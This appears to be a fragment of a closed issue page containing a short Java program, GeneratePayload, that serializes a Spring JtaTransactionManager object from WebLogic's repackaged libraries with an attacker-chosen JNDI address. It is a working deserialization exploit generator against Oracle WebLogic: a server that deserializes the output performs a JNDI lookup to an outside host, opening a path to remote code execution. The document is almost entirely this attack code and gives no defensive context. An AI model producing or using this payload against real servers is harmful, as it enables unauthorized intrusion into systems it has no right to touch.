Closed hktalent closed 4 years ago
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import java.io.ObjectOutputStream;
public class GeneratePayload
{
public static void main(String[] args) throws Exception
{
if (args.length != 1) {
System.err.println("java -jar weblogic-spring-jndi.jar <jndi_address>");
System.exit(-1);
}
String jndiAddress = args[0];
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
java.io.PrintStream out = System.out;
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(jtaTransactionManager);
}
}